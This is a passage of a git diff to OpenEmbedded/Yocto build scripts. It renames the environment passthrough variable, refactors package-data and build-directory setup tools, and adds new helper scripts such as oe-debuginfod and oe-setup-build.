+PATH="$OE_ADDED_PATHS$PATH"
+export OE_ADDED_PATHS
- # Add $newpath to $PATH
- PATH="$newpath:$PATH"
-done
-unset BITBAKEDIR newpath
+# This is not needed anymore
+unset BITBAKEDIR
# Used by the runqemu script
export BUILDDIR
-export PATH
-BB_ENV_EXTRAWHITE_OE="MACHINE DISTRO TCMODE TCLIBC HTTP_PROXY http_proxy \
+BB_ENV_PASSTHROUGH_ADDITIONS_OE="MACHINE DISTRO TCMODE TCLIBC HTTP_PROXY http_proxy \
HTTPS_PROXY https_proxy FTP_PROXY ftp_proxy FTPS_PROXY ftps_proxy ALL_PROXY \
all_proxy NO_PROXY no_proxy SSH_AGENT_PID SSH_AUTH_SOCK BB_SRCREV_POLICY \
SDKMACHINE BB_NUMBER_THREADS BB_NO_NETWORK PARALLEL_MAKE GIT_PROXY_COMMAND \
SOCKS5_PASSWD SOCKS5_USER SCREENDIR STAMPS_DIR BBPATH_EXTRA BB_SETSCENE_ENFORCE \
BB_LOGCONFIG"
-BB_ENV_EXTRAWHITE="$(echo $BB_ENV_EXTRAWHITE $BB_ENV_EXTRAWHITE_OE | tr ' ' '\n' | LC_ALL=C sort --unique | tr '\n' ' ')"
+BB_ENV_PASSTHROUGH_ADDITIONS="$(echo $BB_ENV_PASSTHROUGH_ADDITIONS $BB_ENV_PASSTHROUGH_ADDITIONS_OE | tr ' ' '\n' | LC_ALL=C sort --unique | tr '\n' ' ')"
-export BB_ENV_EXTRAWHITE
+export BB_ENV_PASSTHROUGH_ADDITIONS
diff --git a/scripts/oe-check-sstate b/scripts/oe-check-sstate
index ca249ca67b..0d171c4463 100755
--- a/scripts/oe-check-sstate
+++ b/scripts/oe-check-sstate
@@ -18,7 +18,6 @@ import re
scripts_path = os.path.dirname(os.path.realpath(__file__))
lib_path = scripts_path + '/lib'
sys.path = sys.path + [lib_path]
-import scriptutils
import scriptpath
scriptpath.add_bitbake_lib_path()
import argparse_oe
@@ -47,17 +46,14 @@ def check(args):
try:
env = os.environ.copy()
if not args.same_tmpdir:
- env['BB_ENV_EXTRAWHITE'] = env.get('BB_ENV_EXTRAWHITE', '') + ' TMPDIR_forcevariable'
- env['TMPDIR_forcevariable'] = tmpdir
+ env['BB_ENV_PASSTHROUGH_ADDITIONS'] = env.get('BB_ENV_PASSTHROUGH_ADDITIONS', '') + ' TMPDIR:forcevariable'
+ env['TMPDIR:forcevariable'] = tmpdir
try:
- output = subprocess.check_output(
- 'bitbake -n %s' % ' '.join(args.target),
- stderr=subprocess.STDOUT,
- env=env,
- shell=True)
+ cmd = ['bitbake', '--dry-run', '--runall=build'] + args.target
+ output = subprocess.check_output(cmd, stderr=subprocess.STDOUT, env=env)
- task_re = re.compile('NOTE: Running setscene task [0-9]+ of [0-9]+ \(([^)]+)\)')
+ task_re = re.compile(r'NOTE: Running setscene task [0-9]+ of [0-9]+ \(([^)]+)\)')
tasks = []
for line in output.decode('utf-8').splitlines():
res = task_re.match(line)
diff --git a/scripts/oe-debuginfod b/scripts/oe-debuginfod
new file mode 100755
index 0000000000..b525310225
--- /dev/null
+++ b/scripts/oe-debuginfod
@@ -0,0 +1,28 @@
+#!/usr/bin/env python3
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+import os
+import sys
+scripts_path = os.path.dirname(os.path.realpath(__file__))
+lib_path = scripts_path + "/lib"
+sys.path.insert(0, lib_path)
+import scriptpath
+scriptpath.add_bitbake_lib_path()
+
+import bb.tinfoil
+import subprocess
+
+if __name__ == "__main__":
+ with bb.tinfoil.Tinfoil() as tinfoil:
+ tinfoil.prepare(config_only=True)
+ package_classes_var = "DEPLOY_DIR_" + tinfoil.config_data.getVar("PACKAGE_CLASSES").split()[0].replace("package_", "").upper()
+ feed_dir = tinfoil.config_data.getVar(package_classes_var, expand=True)
+
+ subprocess.call(['bitbake', '-c', 'addto_recipe_sysroot', 'elfutils-native'])
+
+ subprocess.call(['oe-run-native', 'elfutils-native', 'debuginfod', '--verbose', '-R', '-U', feed_dir])
+ print("\nTo use the debuginfod server please ensure that this variable PACKAGECONFIG:pn-elfutils-native = \"debuginfod libdebuginfod\" is set in the local.conf")
diff --git a/scripts/oe-depends-dot b/scripts/oe-depends-dot
index 5eb3e12769..d02ee455f6 100755
--- a/scripts/oe-depends-dot
+++ b/scripts/oe-depends-dot
@@ -14,8 +14,8 @@ import re
class Dot(object):
def __init__(self):
parser = argparse.ArgumentParser(
- description="Analyse recipe-depends.dot generated by bitbake -g",
- epilog="Use %(prog)s --help to get help")
+ description="Analyse task-depends.dot generated by bitbake -g",
+ formatter_class=argparse.RawDescriptionHelpFormatter)
parser.add_argument("dotfile",
help = "Specify the dotfile", nargs = 1, action='store', default='')
parser.add_argument("-k", "--key",
@@ -32,6 +32,21 @@ class Dot(object):
" For example, A->B, B->C, A->C, then A->C can be removed.",
action="store_true", default=False)
+ parser.epilog = """
+Examples:
+First generate the .dot file:
+ bitbake -g core-image-minimal
+
+To find out why a package is being built:
+ %(prog)s -k <package> -w ./task-depends.dot
+
+To find out what a package depends on:
+ %(prog)s -k <package> -d ./task-depends.dot
+
+Reduce the .dot file packages only, no tasks:
+ %(prog)s -r ./task-depends.dot
+"""
+
self.args = parser.parse_args()
if len(sys.argv) != 3 and len(sys.argv) < 5:
@@ -99,6 +114,10 @@ class Dot(object):
if key == "meta-world-pkgdata":
continue
dep = m.group(2)
+ key = key.split('.')[0]
+ dep = dep.split('.')[0]
+ if key == dep:
+ continue
if key in depends:
if not key in depends[key]:
depends[key].add(dep)
@@ -140,9 +159,14 @@ class Dot(object):
reverse_deps = []
if self.args.why:
- for k, v in depends.items():
- if self.args.key in v and not k in reverse_deps:
- reverse_deps.append(k)
+ key_list = [self.args.key]
+ current_key = self.args.key
+ while (len(key_list) != 0):
+ current_key = key_list.pop()
+ for k, v in depends.items():
+ if current_key in v and not k in reverse_deps:
+ reverse_deps.append(k)
+ key_list.append(k)
print('Because: %s' % ' '.join(reverse_deps))
Dot.print_dep_chains(self.args.key, reverse_deps, depends)
diff --git a/scripts/oe-find-native-sysroot b/scripts/oe-find-native-sysroot
index 5146bbf999..6228efcbee 100755
--- a/scripts/oe-find-native-sysroot
+++ b/scripts/oe-find-native-sysroot
@@ -36,20 +36,9 @@ if [ "$1" = '--help' -o "$1" = '-h' -o $# -ne 1 ] ; then
fi
# Global vars
-BITBAKE_E=""
set_oe_native_sysroot(){
- echo "Running bitbake -e $1"
- BITBAKE_E="`bitbake -e $1`"
- OECORE_NATIVE_SYSROOT=`echo "$BITBAKE_E" | grep ^STAGING_DIR_NATIVE= | cut -d '"' -f2`
-
- if [ "x$OECORE_NATIVE_SYSROOT" = "x" ]; then
- # This indicates that there was an error running bitbake -e that
- # the user needs to be informed of
- echo "There was an error running bitbake to determine STAGING_DIR_NATIVE"
- echo "Here is the output from bitbake -e $1"
- echo $BITBAKE_E
- exit 1
- fi
+ echo "Getting sysroot..."
+ OECORE_NATIVE_SYSROOT=$(bitbake-getvar -r $1 --value STAGING_DIR_NATIVE)
}
if [ "x$OECORE_NATIVE_SYSROOT" = "x" ]; then
diff --git a/scripts/oe-gnome-terminal-phonehome b/scripts/oe-gnome-terminal-phonehome
index b6b9a3867b..1352a9872b 100755
--- a/scripts/oe-gnome-terminal-phonehome
+++ b/scripts/oe-gnome-terminal-phonehome
@@ -1,5 +1,7 @@
#!/bin/sh
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: GPL-2.0-only
#
# Gnome terminal won't tell us which PID a given command is run as
diff --git a/scripts/oe-pkgdata-browser b/scripts/oe-pkgdata-browser
index 8d223185a4..c152c82b25 100755
--- a/scripts/oe-pkgdata-browser
+++ b/scripts/oe-pkgdata-browser
@@ -1,4 +1,9 @@
#! /usr/bin/env python3
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
import os, sys, enum, ast
@@ -49,11 +54,11 @@ def load(filename, suffix=None):
from configparser import ConfigParser
from itertools import chain
- parser = ConfigParser()
+ parser = ConfigParser(delimiters=('='))
if suffix:
- parser.optionxform = lambda option: option.replace("_" + suffix, "")
+ parser.optionxform = lambda option: option.replace(":" + suffix, "")
with open(filename) as lines:
- lines = chain(("[fake]",), lines)
+ lines = chain(("[fake]",), (line.replace(": ", " = ", 1) for line in lines))
parser.read_file(lines)
# TODO extract the data and put it into a real dict so we can transform some
@@ -236,6 +241,8 @@ class PkgUi():
update_deps("RPROVIDES", "Provides: ", self.provides_label, clickable=False)
def load_recipes(self):
+ if not os.path.exists(pkgdata):
+ sys.exit("Error: Please ensure %s exists by generating packages before using this tool." % pkgdata)
for recipe in sorted(os.listdir(pkgdata)):
if os.path.isfile(os.path.join(pkgdata, recipe)):
self.recipe_iters[recipe] = self.recipe_store.append([recipe])
diff --git a/scripts/oe-pkgdata-util b/scripts/oe-pkgdata-util
index 93220e3617..44ae40549a 100755
--- a/scripts/oe-pkgdata-util
+++ b/scripts/oe-pkgdata-util
@@ -96,7 +96,7 @@ def glob(args):
pn = os.path.basename(pkgdata_file)
with open(pkgdata_file, 'r') as f:
for line in f:
- if line.startswith("PKG_%s:" % pn):
+ if line.startswith("PKG:%s:" % pn):
renamed = line.split(': ')[1].rstrip()
return renamed
@@ -171,7 +171,7 @@ def read_value(args):
val = line.split(': ', 1)[1].rstrip()
return val
- logger.debug("read-value('%s', '%s' '%s')" % (args.pkgdata_dir, args.valuename, packages))
+ logger.debug("read-value('%s', '%s' '%s')" % (args.pkgdata_dir, args.valuenames, packages))
for package in packages:
pkg_split = package.split('_')
pkg_name = pkg_split[0]
@@ -180,20 +180,29 @@ def read_value(args):
logger.debug(revlink)
if os.path.exists(revlink):
mappedpkg = os.path.basename(os.readlink(revlink))
- qvar = args.valuename
- value = readvar(revlink, qvar, mappedpkg)
- if qvar == "PKGSIZE":
- # PKGSIZE is now in bytes, but we we want it in KB
- pkgsize = (int(value) + 1024 // 2) // 1024
- value = "%d" % pkgsize
- if args.unescape:
- import codecs
- # escape_decode() unescapes backslash encodings in byte streams
- value = codecs.escape_decode(bytes(value, "utf-8"))[0].decode("utf-8")
+ qvars = args.valuenames
+ val_names = qvars.split(',')
+ values = []
+ for qvar in val_names:
+ if qvar == "PACKAGE":
+ value = mappedpkg
+ else:
+ value = readvar(revlink, qvar, mappedpkg)
+ if qvar == "PKGSIZE":
+ # PKGSIZE is now in bytes, but we we want it in KB
+ pkgsize = (int(value) + 1024 // 2) // 1024
+ value = "%d" % pkgsize
+ if args.unescape:
+ import codecs
+ # escape_decode() unescapes backslash encodings in byte streams
+ value = codecs.escape_decode(bytes(value, "utf-8"))[0].decode("utf-8")
+ values.append(value)
+
+ values_str = ' '.join(values)
if args.prefix_name:
- print('%s %s' % (pkg_name, value))
+ print('%s %s' % (pkg_name, values_str))
else:
- print(value)
+ print(values_str)
else:
logger.debug("revlink %s does not exist", revlink)
@@ -213,7 +222,7 @@ def lookup_pkglist(pkgs, pkgdata_dir, reverse):
with open(pkgfile, 'r') as f:
for line in f:
fields = line.rstrip().split(': ')
- if fields[0] == 'PKG_%s' % pkg:
+ if fields[0] == 'PKG:%s' % pkg:
mappings[pkg].append(fields[1])
break
return mappings
@@ -287,7 +296,7 @@ def package_info(args):
extra = ''
for line in f:
for var in vars:
- m = re.match(var + '(?:_\S+)?:\s*(.+?)\s*$', line)
+ m = re.match(var + r'(?::\S+)?:\s*(.+?)\s*$', line)
if m:
vals[var] = m.group(1)
pkg_version = vals['PKGV'] or ''
@@ -431,7 +440,7 @@ def list_pkg_files(args):
for line in f:
if line.startswith('FILES_INFO:'):
found = True
- val = line.split(':', 1)[1].strip()
+ val = line.split(': ', 1)[1].strip()
dictval = json.loads(val)
if long:
width = max(map(len, dictval), default=0)
@@ -500,7 +509,7 @@ def find_path(args):
with open(os.path.join(root,fn)) as f:
for line in f:
if line.startswith('FILES_INFO:'):
- val = line.split(':', 1)[1].strip()
+ val = line.split(': ', 1)[1].strip()
dictval = json.loads(val)
for fullpth in dictval.keys():
if fnmatch.fnmatchcase(fullpth, args.targetpath):
@@ -570,7 +579,7 @@ def main():
parser_read_value = subparsers.add_parser('read-value',
help='Read any pkgdata value for one or more packages',
description='Reads the named value from the pkgdata files for the specified packages')
- parser_read_value.add_argument('valuename', help='Name of the value to look up')
+ parser_read_value.add_argument('valuenames', help='Name of the value/s to look up (separated by commas, no spaces)')
parser_read_value.add_argument('pkg', nargs='*', help='Runtime package name to look up')
parser_read_value.add_argument('-f', '--file', help='Read package names from the specified file (one per line, first field only)')
parser_read_value.add_argument('-n', '--prefix-name', help='Prefix output with package name', action='store_true')
@@ -598,6 +607,9 @@ def main():
logger.error("Unable to find bitbake by searching parent directory of this script or PATH")
sys.exit(1)
logger.debug('Found bitbake path: %s' % bitbakepath)
+ if not os.environ.get('BUILDDIR', ''):
+ logger.error("This script can only be run after initialising the build environment (e.g. by using oe-init-build-env)")
+ sys.exit(1)
tinfoil = tinfoil_init()
try:
args.pkgdata_dir = tinfoil.config_data.getVar('PKGDATA_DIR')
diff --git a/scripts/oe-publish-sdk b/scripts/oe-publish-sdk
index 4b70f436b1..b8a652e47f 100755
--- a/scripts/oe-publish-sdk
+++ b/scripts/oe-publish-sdk
@@ -94,7 +94,10 @@ def publish(args):
logger.error('Failed to unpack %s to %s' % (dest_sdk, destination))
return ret
else:
- cmd = "ssh %s 'sh %s -p -y -d %s && rm -f %s'" % (host, dest_sdk, destdir, dest_sdk)
+ rm_or_not = " && rm -f %s" % dest_sdk
+ if args.keep_orig:
+ rm_or_not = ""
+ cmd = "ssh %s 'sh %s -p -y -d %s%s'" % (host, dest_sdk, destdir, rm_or_not)
ret = subprocess.call(cmd, shell=True)
if ret == 0:
logger.info('Successfully unpacked %s to %s' % (dest_sdk, destdir))
@@ -104,9 +107,9 @@ def publish(args):
# Setting up the git repo
if not is_remote:
- cmd = 'set -e; mkdir -p %s/layers; cd %s/layers; if [ ! -e .git ]; then git init .; cp .git/hooks/post-update.sample .git/hooks/post-commit; echo "*.pyc\n*.pyo\npyshtables.py" > .gitignore; fi; git add -A .; git config user.email "oe@oe.oe" && git config user.name "OE" && git commit -q -m "init repo" || true' % (destination, destination)
+ cmd = 'set -e; mkdir -p %s/layers; cd %s/layers; if [ ! -e .git ]; then git init .; cp .git/hooks/post-update.sample .git/hooks/post-commit; echo "*.pyc\n*.pyo\npyshtables.py" > .gitignore; fi; git config gc.auto 0; git add -A .; git config user.email "oe@oe.oe" && git config user.name "OE" && git commit -q -m "init repo" || true' % (destination, destination)
else:
- cmd = "ssh %s 'set -e; mkdir -p %s/layers; cd %s/layers; if [ ! -e .git ]; then git init .; cp .git/hooks/post-update.sample .git/hooks/post-commit; echo '*.pyc\n*.pyo\npyshtables.py' > .gitignore; fi; git add -A .; git config user.email 'oe@oe.oe' && git config user.name 'OE' && git commit -q -m \"init repo\" || true'" % (host, destdir, destdir)
+ cmd = "ssh %s 'set -e; mkdir -p %s/layers; cd %s/layers; if [ ! -e .git ]; then git init .; cp .git/hooks/post-update.sample .git/hooks/post-commit; echo '*.pyc' > .gitignore; echo '*.pyo' >> .gitignore; echo 'pyshtables.py' >> .gitignore; fi; git config gc.auto 0; git add -A .; git config user.email 'oe@oe.oe' && git config user.name 'OE' && git commit -q -m \"init repo\" || true'" % (host, destdir, destdir)
ret = subprocess.call(cmd, shell=True)
if ret == 0:
logger.info('SDK published successfully')
@@ -119,6 +122,7 @@ def main():
parser = argparse_oe.ArgumentParser(description="OpenEmbedded extensible SDK publishing tool - writes server-side data to support the extensible SDK update process to a specified location")
parser.add_argument('-d', '--debug', help='Enable debug output', action='store_true')
parser.add_argument('-q', '--quiet', help='Print only errors', action='store_true')
+ parser.add_argument('-k', '--keep-orig', help='When published to a remote host, the eSDK installer gets deleted by default.', action='store_true')
parser.add_argument('sdk', help='Extensible SDK to publish (path to .sh installer file)')
parser.add_argument('dest', help='Destination to publish SDK to; can be local path or remote in the form of user@host:/path (in the latter case ssh/scp will be used).')
diff --git a/scripts/oe-pylint b/scripts/oe-pylint
index 7cc1ccb010..5ad72838e9 100755
--- a/scripts/oe-pylint
+++ b/scripts/oe-pylint
@@ -1,5 +1,7 @@
#!/bin/bash
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: GPL-2.0-only
#
# Run the pylint3 against our common python module spaces and print a report of potential issues
diff --git a/scripts/oe-run-native b/scripts/oe-run-native
index 4e63e69cc4..22958d97e7 100755
--- a/scripts/oe-run-native
+++ b/scripts/oe-run-native
@@ -43,7 +43,7 @@ fi
OLD_PATH=$PATH
# look for a tool only in native sysroot
-PATH=$OECORE_NATIVE_SYSROOT/usr/bin:$OECORE_NATIVE_SYSROOT/bin:$OECORE_NATIVE_SYSROOT/usr/sbin:$OECORE_NATIVE_SYSROOT/sbin$(find $OECORE_NATIVE_SYSROOT/usr/bin/*-native -maxdepth 1 -type d -printf ":%p")
+PATH=$OECORE_NATIVE_SYSROOT/usr/bin:$OECORE_NATIVE_SYSROOT/bin:$OECORE_NATIVE_SYSROOT/usr/sbin:$OECORE_NATIVE_SYSROOT/sbin$(find $OECORE_NATIVE_SYSROOT/usr/bin -maxdepth 1 -name "*-native" -type d -printf ":%p")
tool_find=`/usr/bin/which $tool 2>/dev/null`
if [ -n "$tool_find" ] ; then
diff --git a/scripts/oe-setup-build b/scripts/oe-setup-build
new file mode 100755
index 0000000000..5364f2b481
--- /dev/null
+++ b/scripts/oe-setup-build
@@ -0,0 +1,122 @@
+#!/usr/bin/env python3
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+import argparse
+import json
+import os
+import subprocess
+
+def defaultlayers():
+ return os.path.abspath(os.path.join(os.path.dirname(__file__), '.oe-layers.json'))
+
+def makebuildpath(topdir, template):
+ return os.path.join(topdir, "build-{}".format(template))
+
+def discover_templates(layers_file):
+ if not os.path.exists(layers_file):
+ print("List of layers {} does not exist; were the layers set up using the setup-layers script?".format(layers_file))
+ return None
+
+ templates = []
+ layers_list = json.load(open(layers_file))["layers"]
+ for layer in layers_list:
+ template_dir = os.path.join(os.path.dirname(layers_file), layer, 'conf','templates')
+ if os.path.exists(template_dir):
+ for d in sorted(os.listdir(template_dir)):
+ templatepath = os.path.join(template_dir,d)
+ if not os.path.isfile(os.path.join(templatepath,'local.conf.sample')):
+ continue
+ layer_base = os.path.basename(layer)
+ templatename = "{}-{}".format(layer_base[5:] if layer_base.startswith("meta-") else layer_base, d)
+ buildpath = makebuildpath(os.getcwd(), templatename)
+ notespath = os.path.join(template_dir, d, 'conf-notes.txt')
+ try: notes = open(notespath).read()
+ except: notes = None
+ try: summary = open(os.path.join(template_dir, d, 'conf-summary.txt')).read()
+ except: summary = None
+ templates.append({"templatename":templatename,"templatepath":templatepath,"buildpath":buildpath,"notespath":notespath,"notes":notes,"summary":summary})
+
+ return templates
+
+def print_templates(templates, verbose):
+ print("Available build configurations:\n")
+
+ for i in range(len(templates)):
+ t = templates[i]
+ print("{}. {}".format(i+1, t["templatename"]))
+ print("{}".format(t["summary"].strip() if t["summary"] else "This configuration does not have a summary."))
+ if verbose:
+ print("Configuration template path:", t["templatepath"])
+ print("Build path:", t["buildpath"])
+ print("Usage notes:", t["notespath"] if t["notes"] else "This configuration does not have usage notes.")
+ print("")
+ if not verbose:
+ print("Re-run with 'list -v' to see additional information.")
+
+def list_templates(args):
+ templates = discover_templates(args.layerlist)
+ if not templates:
+ return
+
+ verbose = args.v
+ print_templates(templates, verbose)
+
+def find_template(template_name, templates):
+ print_templates(templates, False)
+ if not template_name:
+ n_s = input("Please choose a configuration by its number: ")
+ try: return templates[int(n_s) - 1]
+ except:
+ print("Invalid selection, please try again.")
+ return None
+ else:
+ for t in templates:
+ if t["templatename"] == template_name:
+ return t
+ print("Configuration {} is not one of {}, please try again.".format(tempalte_name, [t["templatename"] for t in templates]))
+ return None
+
+def setup_build_env(args):
+ templates = discover_templates(args.layerlist)
+ if not templates:
+ return
+
+ template = find_template(args.c, templates)
+ if not template:
+ return
+ builddir = args.b if args.b else template["buildpath"]
+ no_shell = args.no_shell
+ coredir = os.path.abspath(os.path.join(os.path.dirname(os.path.realpath(__file__)), '..'))
+ cmd = "TEMPLATECONF={} . {} {}".format(template["templatepath"], os.path.join(coredir, 'oe-init-build-env'), builddir)
+ if not no_shell:
+ cmd = cmd + " && {}".format(os.environ['SHELL'])
+ print("Running:", cmd)
+ subprocess.run(cmd, shell=True, executable=os.environ['SHELL'])
+
+parser = argparse.ArgumentParser(description="A script that discovers available build configurations and sets up a build environment based on one of them. Run without arguments to choose one interactively.")
+parser.add_argument("--layerlist", default=defaultlayers(), help='Where to look for available layers (as written out by setup-layers script) (default is {}).'.format(defaultlayers()))
+
+subparsers = parser.add_subparsers()
+parser_list_templates = subparsers.add_parser('list', help='List available configurations')
+parser_list_templates.add_argument('-v', action='store_true',
+ help='Print detailed information and usage notes for each available build configuration.')
+parser_list_templates.set_defaults(func=list_templates)
+
+parser_setup_env = subparsers.add_parser('setup', help='Set up a build environment and open a shell session with it, ready to run builds.')
+parser_setup_env.add_argument('-c', metavar='configuration_name', help="Use a build configuration configuration_name to set up a build environment (run this script with 'list' to see what is available)")
+parser_setup_env.add_argument('-b', metavar='build_path', help="Set up a build directory in build_path (run this script with 'list -v' to see where it would be by default)")
+parser_setup_env.add_argument('--no-shell', action='store_true',
+ help='Create a build directory but do not start a shell session with the build environment from it.')
+parser_setup_env.set_defaults(func=setup_build_env)
+
+args = parser.parse_args()
+
+if 'func' in args:
+ args.func(args)
+else:
+ from argparse import Namespace
+ setup_build_env(Namespace(layerlist=args.layerlist, c=None, b=None, no_shell=False))
diff --git a/scripts/oe-setup-builddir b/scripts/oe-setup-builddir
index 30eaa8efbe..dcb384c33a 100755
--- a/scripts/oe-setup-builddir
+++ b/scripts/oe-setup-builddir
@@ -7,12 +7,14 @@
# SPDX-License-Identifier: GPL-2.0-or-later
#
-if [ -z "$BUILDDIR" ]; then
- echo >&2 "Error: The build directory (BUILDDIR) must be set!"
+die() {
+ echo Error: "$@" >&2
exit 1
-fi
+}
+
+[ -n "$BUILDDIR" ] || die "The build directory (BUILDDIR) must be set!"
-if [ "$1" = '--help' -o "$1" = '-h' ]; then
+if [ "$1" = '--help' ] || [ "$1" = '-h' ]; then
echo 'Usage: oe-setup-builddir'
echo ''
echo "OpenEmbedded setup-builddir - setup build directory $BUILDDIR"
@@ -22,33 +24,22 @@ fi
mkdir -p "$BUILDDIR/conf"
-if [ ! -d "$BUILDDIR" ]; then
- echo >&2 "Error: The builddir ($BUILDDIR) does not exist!"
- exit 1
-fi
-
-if [ ! -w "$BUILDDIR" ]; then
- echo >&2 "Error: Cannot write to $BUILDDIR, perhaps try sourcing with a writable path? i.e. . oe-init-build-env ~/my-build"
- exit 1
-fi
+[ -d "$BUILDDIR" ] || die "The build directory ($BUILDDIR) does not exist!"
+[ -w "$BUILDDIR" ] ||
+ die "Cannot write to $BUILDDIR, perhaps try sourcing with a writable path? i.e. . oe-init-build-env ~/my-build"
# Attempting removal of sticky,setuid bits from BUILDDIR, BUILDDIR/conf
chmod -st "$BUILDDIR" 2>/dev/null || echo "WARNING: unable to chmod $BUILDDIR"
chmod -st "$BUILDDIR/conf" 2>/dev/null || echo "WARNING: unable to chmod $BUILDDIR/conf"
-cd "$BUILDDIR"
+cd "$BUILDDIR" || die "Failed to change directory to $BUILDDIR!"
-if [ -f "$BUILDDIR/conf/templateconf.cfg" ]; then
- TEMPLATECONF=$(cat "$BUILDDIR/conf/templateconf.cfg")
-fi
-
-. $OEROOT/.templateconf
+. "$OEROOT/.templateconf"
-if [ ! -f "$BUILDDIR/conf/templateconf.cfg" ]; then
- echo "$TEMPLATECONF" >"$BUILDDIR/conf/templateconf.cfg"
-fi
+# Keep the original TEMPLATECONF before possibly prefixing it with $OEROOT below.
+ORG_TEMPLATECONF=$TEMPLATECONF
-#
+#
# $TEMPLATECONF can point to a directory for the template local.conf & bblayers.conf
#
if [ -n "$TEMPLATECONF" ]; then
@@ -57,73 +48,94 @@ if [ -n "$TEMPLATECONF" ]; then
if [ -d "$OEROOT/$TEMPLATECONF" ]; then
TEMPLATECONF="$OEROOT/$TEMPLATECONF"
fi
- if [ ! -d "$TEMPLATECONF" ]; then
- echo >&2 "Error: TEMPLATECONF value points to nonexistent directory '$TEMPLATECONF'"
- exit 1
- fi
+ [ -d "$TEMPLATECONF" ] ||
+ die "TEMPLATECONF value points to nonexistent directory '$TEMPLATECONF'"
+ fi
+ templatesdir=$(python3 -c "import sys; print(sys.argv[1].strip('/').split('/')[-2])" "$TEMPLATECONF")
+ if [ "$templatesdir" != templates ] || [ ! -f "$TEMPLATECONF/../../layer.conf" ]; then
+ die "TEMPLATECONF value (which is $TEMPLATECONF) must point to meta-some-layer/conf/templates/template-name"
fi
OECORELAYERCONF="$TEMPLATECONF/bblayers.conf.sample"
OECORELOCALCONF="$TEMPLATECONF/local.conf.sample"
+ OECORESUMMARYCONF="$TEMPLATECONF/conf-summary.txt"
OECORENOTESCONF="$TEMPLATECONF/conf-notes.txt"
fi
unset SHOWYPDOC
if [ -z "$OECORELOCALCONF" ]; then
- OECORELOCALCONF="$OEROOT/meta/conf/local.conf.sample"
+ OECORELOCALCONF="$OEROOT/meta/conf/templates/default/local.conf.sample"
fi
if [ ! -r "$BUILDDIR/conf/local.conf" ]; then
cat <<EOM
You had no conf/local.conf file. This configuration file has therefore been
-created for you with some default values. You may wish to edit it to, for
-example, select a different MACHINE (target hardware). See conf/local.conf
-for more information as common configuration options are commented.
+created for you from $OECORELOCALCONF
+You may wish to edit it to, for example, select a different MACHINE (target
+hardware).
EOM
- cp -f $OECORELOCALCONF "$BUILDDIR/conf/local.conf"
+ cp -f "$OECORELOCALCONF" "$BUILDDIR/conf/local.conf"
SHOWYPDOC=yes
fi
if [ -z "$OECORELAYERCONF" ]; then
- OECORELAYERCONF="$OEROOT/meta/conf/bblayers.conf.sample"
+ OECORELAYERCONF="$OEROOT/meta/conf/templates/default/bblayers.conf.sample"
fi
if [ ! -r "$BUILDDIR/conf/bblayers.conf" ]; then
cat <<EOM
You had no conf/bblayers.conf file. This configuration file has therefore been
-created for you with some default values. To add additional metadata layers
-into your configuration please add entries to conf/bblayers.conf.
+created for you from $OECORELAYERCONF
+To add additional metadata layers into your configuration please add entries
+to conf/bblayers.conf.
EOM
- # Put the abosolute path to the layers in bblayers.conf so we can run
- # bitbake without the init script after the first run
- # ##COREBASE## is deprecated as it's meaning was inconsistent, but continue
+ # Put the absolute path to the layers in bblayers.conf so we can run
+ # bitbake without the init script after the first run.
+ # ##COREBASE## is deprecated as its meaning was inconsistent, but continue
# to replace it for compatibility.
sed -e "s|##OEROOT##|$OEROOT|g" \
-e "s|##COREBASE##|$OEROOT|g" \
- $OECORELAYERCONF > "$BUILDDIR/conf/bblayers.conf"
+ "$OECORELAYERCONF" > "$BUILDDIR/conf/bblayers.conf"
SHOWYPDOC=yes
fi
+if [ -z "$OECORESUMMARYCONF" ]; then
+ OECORESUMMARYCONF="$OEROOT/meta/conf/templates/default/conf-summary.txt"
+fi
+if [ ! -r "$BUILDDIR/conf/conf-summary.txt" ]; then
+ [ ! -r "$OECORESUMMARYCONF" ] || cp "$OECORESUMMARYCONF" "$BUILDDIR/conf/conf-summary.txt"
+fi
+
+if [ -z "$OECORENOTESCONF" ]; then
+ OECORENOTESCONF="$OEROOT/meta/conf/templates/default/conf-notes.txt"
+fi
+if [ ! -r "$BUILDDIR/conf/conf-notes.txt" ]; then
+ [ ! -r "$OECORENOTESCONF" ] || cp "$OECORENOTESCONF" "$BUILDDIR/conf/conf-notes.txt"
+fi
+
# Prevent disturbing a new GIT clone in same console
unset OECORELOCALCONF
unset OECORELAYERCONF
+unset OECORESUMMARYCONF
+unset OECORENOTESCONF
# Ending the first-time run message. Show the YP Documentation banner.
-if [ ! -z "$SHOWYPDOC" ]; then
+if [ -n "$SHOWYPDOC" ]; then
cat <<EOM
The Yocto Project has extensive documentation about OE including a reference
manual which can be found at:
- http://yoctoproject.org/documentation
+ https://docs.yoctoproject.org
-For more information about OpenEmbedded see their website:
- http://www.openembedded.org/
+For more information about OpenEmbedded see the website:
+ https://www.openembedded.org/
EOM
# unset SHOWYPDOC
fi
-if [ -z "$OECORENOTESCONF" ]; then
- OECORENOTESCONF="$OEROOT/meta/conf/conf-notes.txt"
+[ ! -r "$BUILDDIR/conf/conf-summary.txt" ] || cat "$BUILDDIR/conf/conf-summary.txt"
+[ ! -r "$BUILDDIR/conf/conf-notes.txt" ] || cat "$BUILDDIR/conf/conf-notes.txt"
+
+if [ ! -f "$BUILDDIR/conf/templateconf.cfg" ]; then
+ echo "$ORG_TEMPLATECONF" >"$BUILDDIR/conf/templateconf.cfg"
fi
-[ ! -r "$OECORENOTESCONF" ] || cat $OECORENOTESCONF
-unset OECORENOTESCONF
diff --git a/scripts/oe-setup-layers b/scripts/oe-setup-layers
new file mode 100755
index 0000000000..6fbfefd656
--- /dev/null
+++ b/scripts/oe-setup-layers
@@ -0,0 +1,146 @@
+#!/usr/bin/env python3
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+# This file was copied from poky(or oe-core)/scripts/oe-setup-layers by running
+#
+# bitbake-layers create-layers-setup destdir
+#
+# It is recommended that you do not modify this file directly, but rather re-run the above command to get the freshest upstream copy.
+#
+# This script is idempotent. Subsequent runs only change what is necessary to
+# ensure your layers match your configuration.
+
+import argparse
+import json
+import os
+import subprocess
+
+def _is_repo_git_repo(repodir):
+ try:
